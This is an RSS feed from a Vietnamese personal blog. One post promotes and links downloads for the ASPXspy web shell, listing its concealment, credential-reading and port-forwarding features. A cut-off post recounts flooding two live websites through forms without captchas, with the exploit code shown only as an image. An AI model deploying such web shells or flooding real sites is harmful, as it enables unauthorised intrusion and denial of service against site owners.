<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:pingback="http://madskills.com/public/xml/rss/module/pingback/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
  <channel>
    <title>Guru's Blog</title>
    <link>http://www.guru.net.vn/</link>
    <description>share with you :)</description>
    <language>en-us</language>
    <copyright>Guru.Net.Vn</copyright>
    <lastBuildDate>Tue, 06 Oct 2009 04:45:23 GMT</lastBuildDate>
    <generator>newtelligence dasBlog 1.9.7067.0</generator>
    <managingEditor>blog@guru.net.vn</managingEditor>
    <webMaster>blog@guru.net.vn</webMaster>
    <atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/phamduchai" type="application/rss+xml" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item>
      <trackback:ping>http://www.guru.net.vn/Trackback.aspx?guid=bfbf4028-016e-45a6-a4f6-ee57b1bfee7b</trackback:ping>
      <pingback:server>http://www.guru.net.vn/pingback.aspx</pingback:server>
      <pingback:target>PermaLink,guid,bfbf4028-016e-45a6-a4f6-ee57b1bfee7b.aspx</pingback:target>
      <dc:creator>Phạm Đức Hải</dc:creator>
      <wfw:comment>CommentView,guid,bfbf4028-016e-45a6-a4f6-ee57b1bfee7b.aspx</wfw:comment>
      <wfw:commentRss>http://www.guru.net.vn/SyndicationService.asmx/GetEntryCommentsRss?guid=bfbf4028-016e-45a6-a4f6-ee57b1bfee7b</wfw:commentRss>
      <body xmlns="http://www.w3.org/1999/xhtml">ASPXspy 2.0 by Bin (<a href="http://rootkit.net.vn">rootkit.net.vn</a>)<br />
Features:<br /><br />
1. Development environment VS2008 + C #, is compatible with FrameWork1.1/2.0, basically
code-behind, CSS easy reference phpspy.<br />
2. 32 MD5 encrypted password (lower case) default is admin.<br />
3. All uses POST method to submit data, enhanced concealment.<br />
4. Enhances the detection capability of IIS, IIS traverse the site information, absolute
path, multi-domain binding, as well as the IIS account password.<br />
5. Adds the specified file search function.<br />
6. Fixed some database operations of the BUG.<br />
7. To enhance the reading of the registry, this in part by BloodSword completed, would
like to thank.<br />
8. Fixed multi-threaded scanning for port<br />
9. Enhanced port forwarding function, with reference to Cnqing some of the code, would
like to thank.<br /><br />
Download:<br />
ASPXSpy 2.0<br /><a href="http://www.guru.net.vn/aspxspy2.rar">http://www.guru.net.vn/aspxspy2.rar</a><br /><a href="http://www.rootkit.net.cn/code/aspxspy2.rar">http://www.rootkit.net.cn/code/aspxspy2.rar</a><br /><a href="http://code.google.com/p/aspxspy/">http://code.google.com/p/aspxspy/</a><br /><br /><br />
More :<br />
Download Kshell<br /><a href="http://www.guru.net.vn/kshell_1.2.zip">http://www.guru.net.vn/kshell_1.2.zip</a><br /><a href="http://www.guru.net.vn/PermaLink,guid,5fd27747-210e-4c52-ac15-7aeff2c3176c.aspx">http://www.guru.net.vn/PermaLink,guid,5fd27747-210e-4c52-ac15-7aeff2c3176c.aspx</a><br /><br /><br /><img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=bfbf4028-016e-45a6-a4f6-ee57b1bfee7b" /><br /><hr />
This weblog is sponsored by <a href="http://www.guru.net.vn">Guru's Blog</a>. 
<xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/phamduchai/~4/LF_a5DDaD5o" height="1" width="1" /></body>
      <title>ASPXspy 2.0 by Bin (rootkit.net.vn)</title>
      <guid isPermaLink="false">PermaLink,guid,bfbf4028-016e-45a6-a4f6-ee57b1bfee7b.aspx</guid>
      <link>http://feedproxy.google.com/~r/phamduchai/~3/LF_a5DDaD5o/PermaLink,guid,bfbf4028-016e-45a6-a4f6-ee57b1bfee7b.aspx</link>
      <pubDate>Tue, 06 Oct 2009 04:45:23 GMT</pubDate>
      <description>ASPXspy 2.0 by Bin (&lt;a href="http://rootkit.net.vn"&gt;rootkit.net.vn&lt;/a&gt;)&lt;br&gt;
Features:&lt;br&gt;
&lt;br&gt;
1. Development environment VS2008 + C #, is compatible with FrameWork1.1/2.0, basically
code-behind, CSS easy reference phpspy.&lt;br&gt;
2. 32 MD5 encrypted password (lower case) default is admin.&lt;br&gt;
3. All uses POST method to submit data, enhanced concealment.&lt;br&gt;
4. Enhances the detection capability of IIS, IIS traverse the site information, absolute
path, multi-domain binding, as well as the IIS account password.&lt;br&gt;
5. Adds the specified file search function.&lt;br&gt;
6. Fixed some database operations of the BUG.&lt;br&gt;
7. To enhance the reading of the registry, this in part by BloodSword completed, would
like to thank.&lt;br&gt;
8. Fixed multi-threaded scanning for port&lt;br&gt;
9. Enhanced port forwarding function, with reference to Cnqing some of the code, would
like to thank.&lt;br&gt;
&lt;br&gt;
Download:&lt;br&gt;
ASPXSpy 2.0&lt;br&gt;
&lt;a href="http://www.guru.net.vn/aspxspy2.rar"&gt;http://www.guru.net.vn/aspxspy2.rar&lt;/a&gt;
&lt;br&gt;
&lt;a href="http://www.rootkit.net.cn/code/aspxspy2.rar"&gt;http://www.rootkit.net.cn/code/aspxspy2.rar&lt;/a&gt;
&lt;br&gt;
&lt;a href="http://code.google.com/p/aspxspy/"&gt;http://code.google.com/p/aspxspy/&lt;/a&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
More :&lt;br&gt;
Download Kshell&lt;br&gt;
&lt;a href="http://www.guru.net.vn/kshell_1.2.zip"&gt;http://www.guru.net.vn/kshell_1.2.zip&lt;/a&gt;
&lt;br&gt;
&lt;a href="http://www.guru.net.vn/PermaLink,guid,5fd27747-210e-4c52-ac15-7aeff2c3176c.aspx"&gt;http://www.guru.net.vn/PermaLink,guid,5fd27747-210e-4c52-ac15-7aeff2c3176c.aspx&lt;/a&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=bfbf4028-016e-45a6-a4f6-ee57b1bfee7b" /&gt;
&lt;br /&gt;
&lt;hr /&gt;
This weblog is sponsored by &lt;a href="http://www.guru.net.vn"&gt;Guru's Blog&lt;/a&gt;. </description>
      <comments>CommentView,guid,bfbf4028-016e-45a6-a4f6-ee57b1bfee7b.aspx</comments>
      <category>.NET</category>
      <category>Bảo mật</category>
      <category>Hack</category>
    <feedburner:origLink>http://www.guru.net.vn/PermaLink,guid,bfbf4028-016e-45a6-a4f6-ee57b1bfee7b.aspx</feedburner:origLink></item>
    <item>
      <trackback:ping>http://www.guru.net.vn/Trackback.aspx?guid=6e3fdddc-7b47-4505-a791-86c975ec1ba7</trackback:ping>
      <pingback:server>http://www.guru.net.vn/pingback.aspx</pingback:server>
      <pingback:target>PermaLink,guid,6e3fdddc-7b47-4505-a791-86c975ec1ba7.aspx</pingback:target>
      <dc:creator>Phạm Đức Hải</dc:creator>
      <wfw:comment>CommentView,guid,6e3fdddc-7b47-4505-a791-86c975ec1ba7.aspx</wfw:comment>
      <wfw:commentRss>http://www.guru.net.vn/SyndicationService.asmx/GetEntryCommentsRss?guid=6e3fdddc-7b47-4505-a791-86c975ec1ba7</wfw:commentRss>
      <body xmlns="http://www.w3.org/1999/xhtml">Phần 1 : <a href="http://www.guru.net.vn/PermaLink,guid,ab4e0786-7e42-418b-9a97-6155a321047b.aspx">http://www.guru.net.vn/PermaLink,guid,ab4e0786-7e42-418b-9a97-6155a321047b.aspx</a><br /><br />
Phần 2 : <a href="http://uploadanh.com">uploadanh.com</a> của SocBay --&gt; tha hồ
up :D<br /><br /><p /><img src="http://www.guru.net.vn/content/binary/uploadanh_socbay.jpg" border="0" width="60%" /><img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=6e3fdddc-7b47-4505-a791-86c975ec1ba7" /><br /><hr />
This weblog is sponsored by <a href="http://www.guru.net.vn">Guru's Blog</a>. 
<xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/phamduchai/~4/7MByh7u-7zc" height="1" width="1" /></body>
      <title>Flood file, text ... vấn đề nguy hiểm chưa được quan tâm (2)</title>
      <guid isPermaLink="false">PermaLink,guid,6e3fdddc-7b47-4505-a791-86c975ec1ba7.aspx</guid>
      <link>http://feedproxy.google.com/~r/phamduchai/~3/7MByh7u-7zc/PermaLink,guid,6e3fdddc-7b47-4505-a791-86c975ec1ba7.aspx</link>
      <pubDate>Tue, 01 Sep 2009 02:10:11 GMT</pubDate>
      <description>Phần 1 : &lt;a href="http://www.guru.net.vn/PermaLink,guid,ab4e0786-7e42-418b-9a97-6155a321047b.aspx"&gt;http://www.guru.net.vn/PermaLink,guid,ab4e0786-7e42-418b-9a97-6155a321047b.aspx&lt;/a&gt;
&lt;br&gt;
&lt;br&gt;
Phần 2 : &lt;a href="http://uploadanh.com"&gt;uploadanh.com&lt;/a&gt; của SocBay --&amp;gt; tha hồ
up :D&lt;br&gt;
&lt;br&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;img src="http://www.guru.net.vn/content/binary/uploadanh_socbay.jpg" border="0" width="60%"&gt;&lt;img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=6e3fdddc-7b47-4505-a791-86c975ec1ba7" /&gt;
&lt;br /&gt;
&lt;hr /&gt;
This weblog is sponsored by &lt;a href="http://www.guru.net.vn"&gt;Guru's Blog&lt;/a&gt;. </description>
      <comments>CommentView,guid,6e3fdddc-7b47-4505-a791-86c975ec1ba7.aspx</comments>
      <category>Bảo mật</category>
      <category>Photos</category>
    <feedburner:origLink>http://www.guru.net.vn/PermaLink,guid,6e3fdddc-7b47-4505-a791-86c975ec1ba7.aspx</feedburner:origLink></item>
    <item>
      <trackback:ping>http://www.guru.net.vn/Trackback.aspx?guid=3562641d-f59e-43a7-973e-82897573ed26</trackback:ping>
      <pingback:server>http://www.guru.net.vn/pingback.aspx</pingback:server>
      <pingback:target>PermaLink,guid,3562641d-f59e-43a7-973e-82897573ed26.aspx</pingback:target>
      <dc:creator>Phạm Đức Hải</dc:creator>
      <wfw:comment>CommentView,guid,3562641d-f59e-43a7-973e-82897573ed26.aspx</wfw:comment>
      <wfw:commentRss>http://www.guru.net.vn/SyndicationService.asmx/GetEntryCommentsRss?guid=3562641d-f59e-43a7-973e-82897573ed26</wfw:commentRss>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <a href="http://haianh.megaweb.vn">http://haianh.megaweb.vn</a>
        <br />
        <div class="content">Hải Anh Theme<br /><br />
Được phát triển từ TwiApp bổ xung một số tính năng:<br />
- RSS 2.0<br />
- Flash player<br />
- Twitter latest<br />
- ...<br /><br /><a href="http://haianh.megaweb.vn/a/view?b=B10&amp;g=list&amp;t=&amp;st=0&amp;id=757282&amp;v=list">Download
Now!</a><br /><br /><img src="http://haianh.megaweb.vn/download/MTI0ODQ0NjI1NC42twitterphamduchai_1248437693310.png" /><br /><br /><br /><img src="http://haianh.megaweb.vn/download/MTI0ODQ0NjI1MC42Thgiionlinecati_1248437864981.png" /><br /><br /><br /><img src="http://haianh.megaweb.vn/download/MTI0ODQ0NjI1My41Thgiionlinecati_1248438020673.png" /><br /><br /><img src="http://haianh.megaweb.vn/download/MTI0ODQ0NjI0Ny43SPyShell.py_1248438167584.png" /><br /><img src="http://haianh.megaweb.vn/download/MTI0ODQ0NjI0OC45Thgiionlinecati_1248437927068.png" /><br /></div>
        <div class="features">
          <div>
            <b>Link Download</b>: http://haianh.megaweb.vn/a/view?b=B10&amp;g=list&amp;t=&amp;st=0&amp;id=757282&amp;v=list
</div>
        </div>
        <br />
        <p>
        </p>
        <img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=3562641d-f59e-43a7-973e-82897573ed26" />
        <br />
        <hr />
This weblog is sponsored by <a href="http://www.guru.net.vn">Guru's Blog</a>. 
<xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/phamduchai/~4/SnGk1CpMeT0" height="1" width="1" /></body>
      <title>Một website mới của tôi</title>
      <guid isPermaLink="false">PermaLink,guid,3562641d-f59e-43a7-973e-82897573ed26.aspx</guid>
      <link>http://feedproxy.google.com/~r/phamduchai/~3/SnGk1CpMeT0/PermaLink,guid,3562641d-f59e-43a7-973e-82897573ed26.aspx</link>
      <pubDate>Mon, 27 Jul 2009 11:56:01 GMT</pubDate>
      <description>&lt;a href="http://haianh.megaweb.vn"&gt;http://haianh.megaweb.vn&lt;/a&gt;
&lt;br&gt;
&lt;div class="content"&gt;Hải Anh Theme&lt;br&gt;
&lt;br&gt;
Được phát triển từ TwiApp bổ xung một số tính năng:&lt;br&gt;
- RSS 2.0&lt;br&gt;
- Flash player&lt;br&gt;
- Twitter latest&lt;br&gt;
- ...&lt;br&gt;
&lt;br&gt;
&lt;a href="http://haianh.megaweb.vn/a/view?b=B10&amp;amp;g=list&amp;amp;t=&amp;amp;st=0&amp;amp;id=757282&amp;amp;v=list"&gt;Download
Now!&lt;/a&gt;
&lt;br&gt;
&lt;br&gt;
&lt;img src="http://haianh.megaweb.vn/download/MTI0ODQ0NjI1NC42twitterphamduchai_1248437693310.png"&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;img src="http://haianh.megaweb.vn/download/MTI0ODQ0NjI1MC42Thgiionlinecati_1248437864981.png"&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;img src="http://haianh.megaweb.vn/download/MTI0ODQ0NjI1My41Thgiionlinecati_1248438020673.png"&gt;
&lt;br&gt;
&lt;br&gt;
&lt;img src="http://haianh.megaweb.vn/download/MTI0ODQ0NjI0Ny43SPyShell.py_1248438167584.png"&gt;
&lt;br&gt;
&lt;img src="http://haianh.megaweb.vn/download/MTI0ODQ0NjI0OC45Thgiionlinecati_1248437927068.png"&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;div class="features"&gt;
&lt;div&gt;&lt;b&gt;Link Download&lt;/b&gt;: http://haianh.megaweb.vn/a/view?b=B10&amp;amp;g=list&amp;amp;t=&amp;amp;st=0&amp;amp;id=757282&amp;amp;v=list
&lt;/div&gt;
&lt;/div&gt;
&lt;br&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=3562641d-f59e-43a7-973e-82897573ed26" /&gt;
&lt;br /&gt;
&lt;hr /&gt;
This weblog is sponsored by &lt;a href="http://www.guru.net.vn"&gt;Guru's Blog&lt;/a&gt;. </description>
      <comments>CommentView,guid,3562641d-f59e-43a7-973e-82897573ed26.aspx</comments>
      <category>python</category>
      <category>Website</category>
    <feedburner:origLink>http://www.guru.net.vn/PermaLink,guid,3562641d-f59e-43a7-973e-82897573ed26.aspx</feedburner:origLink></item>
    <item>
      <trackback:ping>http://www.guru.net.vn/Trackback.aspx?guid=7f5e5eb2-6d68-4407-9a23-3fee7d3d5d04</trackback:ping>
      <pingback:server>http://www.guru.net.vn/pingback.aspx</pingback:server>
      <pingback:target>PermaLink,guid,7f5e5eb2-6d68-4407-9a23-3fee7d3d5d04.aspx</pingback:target>
      <dc:creator>Phạm Đức Hải</dc:creator>
      <wfw:comment>CommentView,guid,7f5e5eb2-6d68-4407-9a23-3fee7d3d5d04.aspx</wfw:comment>
      <wfw:commentRss>http://www.guru.net.vn/SyndicationService.asmx/GetEntryCommentsRss?guid=7f5e5eb2-6d68-4407-9a23-3fee7d3d5d04</wfw:commentRss>
      <slash:comments>2</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">Cũng thi thoảng vào cửa hàng của <a href="http://www.phucanh.vn">Phuc
Anh Computer</a> mua mấy thứ lặt vặt. Cũng chỉ mua mấy thứ lặt vặt thôi như chuột,
cáp mạng,...<br />
Cũng ko phải tôi chỉ mua những thứ đó, từ hồi ra trường tôi cũng mua hộ đến cả trăm
bộ bộ máy tính nhưng ko phải ở Phúc Anh (vì chưa hiểu rõ lắm bạn bè bảo nên mua ở
Trần Anh)<br />
Lần nào cũng thấy vắng đìu hiu, chẳng bù cho Trần Anh lúc nào cũng đông nghịt. Bình
thường cũng thấy việc phục vụ ko dc chuyên nghiệp lắm.<br />
Lần này tôi mưa một hộp cáp mạng CAT5 (ngày hôm kia) lắp ở nhà, nhưng muốn đổi sang
cuộn CAT6 vì muốn chia thêm line thoại cho nó ngon. Cuộn mạng còn nguyên chưa làm
gì + giấy thanh toán đầy đủ.<br /><br />
Mang ra Phúc Anh định đổi lại vì tưởng Phúc Anh cũng có chính sách đổi như các cty
khác. :(<br />
Hix hix có mỗi cái quận mạng mà ko đổi dc thì đổi dc cái gì cho khách hàng mua máy
tính ?<br />
Đến cửa hàng điện bt thường còn đổi nưa là :(<br />
Có lẽ Phuc Anh ko bao jo dc bằng em bằng chị trong việc phân phối máy tính.<br /><br />
Nếu có ai muốn mua máy tính tôi khuyên dừng bao jo mua ở Phuc Anh Computer.<br /><br /><font size="6"><b>Phuc Anh Computer như SHIT !!!</b></font><br /><p /><img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=7f5e5eb2-6d68-4407-9a23-3fee7d3d5d04" /><br /><hr />
This weblog is sponsored by <a href="http://www.guru.net.vn">Guru's Blog</a>. 
<xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/phamduchai/~4/UMX5BriAD28" height="1" width="1" /></body>
      <title>Phuc Anh Computer như ... shit</title>
      <guid isPermaLink="false">PermaLink,guid,7f5e5eb2-6d68-4407-9a23-3fee7d3d5d04.aspx</guid>
      <link>http://feedproxy.google.com/~r/phamduchai/~3/UMX5BriAD28/PermaLink,guid,7f5e5eb2-6d68-4407-9a23-3fee7d3d5d04.aspx</link>
      <pubDate>Thu, 09 Jul 2009 02:15:30 GMT</pubDate>
      <description>Cũng thi thoảng vào cửa hàng của &lt;a href="http://www.phucanh.vn"&gt;Phuc Anh Computer&lt;/a&gt; mua
mấy thứ lặt vặt. Cũng chỉ mua mấy thứ lặt vặt thôi như chuột, cáp mạng,...&lt;br&gt;
Cũng ko phải tôi chỉ mua những thứ đó, từ hồi ra trường tôi cũng mua hộ đến cả trăm
bộ bộ máy tính nhưng ko phải ở Phúc Anh (vì chưa hiểu rõ lắm bạn bè bảo nên mua ở
Trần Anh)&lt;br&gt;
Lần nào cũng thấy vắng đìu hiu, chẳng bù cho Trần Anh lúc nào cũng đông nghịt. Bình
thường cũng thấy việc phục vụ ko dc chuyên nghiệp lắm.&lt;br&gt;
Lần này tôi mưa một hộp cáp mạng CAT5 (ngày hôm kia) lắp ở nhà, nhưng muốn đổi sang
cuộn CAT6 vì muốn chia thêm line thoại cho nó ngon. Cuộn mạng còn nguyên chưa làm
gì + giấy thanh toán đầy đủ.&lt;br&gt;
&lt;br&gt;
Mang ra Phúc Anh định đổi lại vì tưởng Phúc Anh cũng có chính sách đổi như các cty
khác. :(&lt;br&gt;
Hix hix có mỗi cái quận mạng mà ko đổi dc thì đổi dc cái gì cho khách hàng mua máy
tính ?&lt;br&gt;
Đến cửa hàng điện bt thường còn đổi nưa là :(&lt;br&gt;
Có lẽ Phuc Anh ko bao jo dc bằng em bằng chị trong việc phân phối máy tính.&lt;br&gt;
&lt;br&gt;
Nếu có ai muốn mua máy tính tôi khuyên dừng bao jo mua ở Phuc Anh Computer.&lt;br&gt;
&lt;br&gt;
&lt;font size="6"&gt;&lt;b&gt;Phuc Anh Computer như SHIT !!!&lt;/b&gt;&lt;/font&gt;
&lt;br&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=7f5e5eb2-6d68-4407-9a23-3fee7d3d5d04" /&gt;
&lt;br /&gt;
&lt;hr /&gt;
This weblog is sponsored by &lt;a href="http://www.guru.net.vn"&gt;Guru's Blog&lt;/a&gt;. </description>
      <comments>CommentView,guid,7f5e5eb2-6d68-4407-9a23-3fee7d3d5d04.aspx</comments>
      <category>Linh tinh</category>
    <feedburner:origLink>http://www.guru.net.vn/PermaLink,guid,7f5e5eb2-6d68-4407-9a23-3fee7d3d5d04.aspx</feedburner:origLink></item>
    <item>
      <trackback:ping>http://www.guru.net.vn/Trackback.aspx?guid=8c78deb3-a2c6-4fcc-96a7-2a9d43f082eb</trackback:ping>
      <pingback:server>http://www.guru.net.vn/pingback.aspx</pingback:server>
      <pingback:target>PermaLink,guid,8c78deb3-a2c6-4fcc-96a7-2a9d43f082eb.aspx</pingback:target>
      <dc:creator>Phạm Đức Hải</dc:creator>
      <wfw:comment>CommentView,guid,8c78deb3-a2c6-4fcc-96a7-2a9d43f082eb.aspx</wfw:comment>
      <wfw:commentRss>http://www.guru.net.vn/SyndicationService.asmx/GetEntryCommentsRss?guid=8c78deb3-a2c6-4fcc-96a7-2a9d43f082eb</wfw:commentRss>
      <slash:comments>3</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">Trong bài viết này tôi xin điểm lại các
công nghệ mà <a href="http://VCcorp.vn">VCcorp</a> sử dụng trong các trang web lớn
của mình.<br />
Đây hoàn toàn là đánh giá dưới góc độ các nhân của tôi.<br />
Các bạn có thể kiểm thử thêm :)<br /><br />
Các bạn hãy chú ý đến bản quyền của các phần mềm này, sẽ thú vị đấy, có nhiều cái
nó yêu cầu ghi lại bản quyền ở dưới mỗi site. Nhưng có những site thì ko :D<br /><br /><a href="http://admicro.vn">admicro.vn</a> : phần mềm miễn phí <a href="http://www.openx.org/">http://www.openx.org/</a><br /><br /><a href="http://admicro.vn/INSTALL.txt">http://admicro.vn/INSTALL.txt</a><br /><p /><img src="http://www.guru.net.vn/content/binary/admicro_openx.png" border="0" /><br /><br /><br /><a href="http://socvui.com">socvui.com</a><br />
Sử dụng : mod Inferno + VBB + vBExperience<br /><br /><a href="http://i-pro.vn">http://i-pro.vn</a><br />
Sử dụng : <a href="http://www.drupal.org/">http://www.drupal.org/</a><br /><br /><a href="http://tratu.baamboo.com">http://tratu.baamboo.com</a><br />
Sử dụng : <a href="http://www.mediawiki.org">http://www.mediawiki.org</a><br /><br /><a href="linkhay.com">linkhay.com</a> : Nhái theo trang <a href="http://digg.com">digg.com</a><br />
Sử dụng: Open Source <a href="http://www.pligg.com">http://www.pligg.com</a> tất nhiên
đã cải tiến thêm nhiều so với năm ngoái.<br /><br />
Có lẽ đây là một điển hình về ứng dụng mã mở và phần mềm tự do. Chúng ta nên học tập
:D<br /><br />
Còn tiếp tục cập nhật, các bạn bổ xung thêm nhé :D<br /><br /><img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=8c78deb3-a2c6-4fcc-96a7-2a9d43f082eb" /><br /><hr />
This weblog is sponsored by <a href="http://www.guru.net.vn">Guru's Blog</a>. 
<xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/phamduchai/~4/ZCJcbUjkutc" height="1" width="1" /></body>
      <title>Công nghệ "cao" của VCcorp</title>
      <guid isPermaLink="false">PermaLink,guid,8c78deb3-a2c6-4fcc-96a7-2a9d43f082eb.aspx</guid>
      <link>http://feedproxy.google.com/~r/phamduchai/~3/ZCJcbUjkutc/PermaLink,guid,8c78deb3-a2c6-4fcc-96a7-2a9d43f082eb.aspx</link>
      <pubDate>Mon, 15 Jun 2009 02:10:21 GMT</pubDate>
      <description>Trong bài viết này tôi xin điểm lại các công nghệ mà &lt;a href="http://VCcorp.vn"&gt;VCcorp&lt;/a&gt; sử
dụng trong các trang web lớn của mình.&lt;br&gt;
Đây hoàn toàn là đánh giá dưới góc độ các nhân của tôi.&lt;br&gt;
Các bạn có thể kiểm thử thêm :)&lt;br&gt;
&lt;br&gt;
Các bạn hãy chú ý đến bản quyền của các phần mềm này, sẽ thú vị đấy, có nhiều cái
nó yêu cầu ghi lại bản quyền ở dưới mỗi site. Nhưng có những site thì ko :D&lt;br&gt;
&lt;br&gt;
&lt;a href="http://admicro.vn"&gt;admicro.vn&lt;/a&gt; : phần mềm miễn phí &lt;a href="http://www.openx.org/"&gt;http://www.openx.org/&lt;/a&gt;
&lt;br&gt;
&lt;br&gt;
&lt;a href="http://admicro.vn/INSTALL.txt"&gt;http://admicro.vn/INSTALL.txt&lt;/a&gt;
&lt;br&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;img src="http://www.guru.net.vn/content/binary/admicro_openx.png" border="0"&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;a href="http://socvui.com"&gt;socvui.com&lt;/a&gt;
&lt;br&gt;
Sử dụng : mod Inferno + VBB + vBExperience&lt;br&gt;
&lt;br&gt;
&lt;a href="http://i-pro.vn"&gt;http://i-pro.vn&lt;/a&gt;
&lt;br&gt;
Sử dụng : &lt;a href="http://www.drupal.org/"&gt;http://www.drupal.org/&lt;/a&gt;
&lt;br&gt;
&lt;br&gt;
&lt;a href="http://tratu.baamboo.com"&gt;http://tratu.baamboo.com&lt;/a&gt;
&lt;br&gt;
Sử dụng : &lt;a href="http://www.mediawiki.org"&gt;http://www.mediawiki.org&lt;/a&gt;
&lt;br&gt;
&lt;br&gt;
&lt;a href="linkhay.com"&gt;linkhay.com&lt;/a&gt; : Nhái theo trang &lt;a href="http://digg.com"&gt;digg.com&lt;/a&gt;
&lt;br&gt;
Sử dụng: Open Source &lt;a href="http://www.pligg.com"&gt;http://www.pligg.com&lt;/a&gt; tất nhiên
đã cải tiến thêm nhiều so với năm ngoái.&lt;br&gt;
&lt;br&gt;
Có lẽ đây là một điển hình về ứng dụng mã mở và phần mềm tự do. Chúng ta nên học tập
:D&lt;br&gt;
&lt;br&gt;
Còn tiếp tục cập nhật, các bạn bổ xung thêm nhé :D&lt;br&gt;
&lt;br&gt;
&lt;img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=8c78deb3-a2c6-4fcc-96a7-2a9d43f082eb" /&gt;
&lt;br /&gt;
&lt;hr /&gt;
This weblog is sponsored by &lt;a href="http://www.guru.net.vn"&gt;Guru's Blog&lt;/a&gt;. </description>
      <comments>CommentView,guid,8c78deb3-a2c6-4fcc-96a7-2a9d43f082eb.aspx</comments>
      <category>Linh tinh</category>
    <feedburner:origLink>http://www.guru.net.vn/PermaLink,guid,8c78deb3-a2c6-4fcc-96a7-2a9d43f082eb.aspx</feedburner:origLink></item>
    <item>
      <trackback:ping>http://www.guru.net.vn/Trackback.aspx?guid=ab4e0786-7e42-418b-9a97-6155a321047b</trackback:ping>
      <pingback:server>http://www.guru.net.vn/pingback.aspx</pingback:server>
      <pingback:target>PermaLink,guid,ab4e0786-7e42-418b-9a97-6155a321047b.aspx</pingback:target>
      <dc:creator>Phạm Đức Hải</dc:creator>
      <wfw:comment>CommentView,guid,ab4e0786-7e42-418b-9a97-6155a321047b.aspx</wfw:comment>
      <wfw:commentRss>http://www.guru.net.vn/SyndicationService.asmx/GetEntryCommentsRss?guid=ab4e0786-7e42-418b-9a97-6155a321047b</wfw:commentRss>
      <slash:comments>1</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">Thông thường một form dữ liệu POST sẽ được
bảo vệ bằng ảnh nhận dạng captcha. Nhưng form không có captcha thì dễ dàng flood (làm
lụt) database của website một cách dễ dàng. Phần lớn website không để ý và quan tâm
đến vấn đề này. Đây có thể là một điểm có thể DOS website, tăng xử lý IO của website,
làm đầy dữ liệu database và ổ cứng --&gt; một cách hạ gục site khá dễ dàng.<br />
Hầu như bất kỳ site nào cũng có thể tìm thấy điểm khai thác này.<br />
Tôi ví dụ một vài ví dụ đơn giản như : <a href="http://blog.nit.vn/">http://blog.nit.vn/</a> trang
này sau khi tôi thử bằng 1 máy PC trong vòng 30 phút thì hosting hết dung lượng vì
upload file và insert vào database gần 500.000 bản ghi mới --&gt; site sau đó phải
nâng cấp ngay ngày hôm sau (tiếc là ko chụp lại mấy hình demo)<br /><br />
Rất may là trong cái nóng lực mấy hôm nay, ngồi không biết làm gì thì thử site <a href="http://1280.com">1280.com</a> (với
tham vọng ra đúng thời cơ blog 360 yahoo đóng cửa để hút thành viên :D)<br />
Nói thực là các site mạng xã hội VN tôi chưa thấy trang nào có một kiến trúc nền tảng
tốt (trừ 1 trang sắp ra :D)<br />
Lỗi rất sơ đẳng như trên nếu để DOS attack thực sự thì trang này đi ngay lập tức.<br />
Đây chỉ là những hình ảnh demo cho thấy để dàng có thể flood trang này.<br /><br /><p /><img src="http://www.guru.net.vn/content/binary/1280.com_1.png" border="0" /><br /><br /><br /><img src="http://www.guru.net.vn/content/binary/1280.com_2.png" border="0" /><br /><br /><br /><img src="http://www.guru.net.vn/content/binary/1280.com_3.png" border="0" /><br /><br /><br /><img src="http://www.guru.net.vn/content/binary/1280.com_4.png" border="0" /><br /><br /><br /><br />
Ví dụ một đoạn code exploit đơn giản thêm 1000 bài viết có chèn ảnh con chuột như
ở trên.<br /><br /><img src="http://www.guru.net.vn/content/binary/1280_code_exploit.png" border="0" /><br /><br /><br /><br />
Post một tí tẹo là dc 1000 bài :D<br /><img src="http://www.guru.net.vn/content/binary/1280.com_5.png" border="0" /><br /><br /><br />
Hy vọng các bạn để ý đến vấn đề này hơn :)<br /><img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=ab4e0786-7e42-418b-9a97-6155a321047b" /><br /><hr />
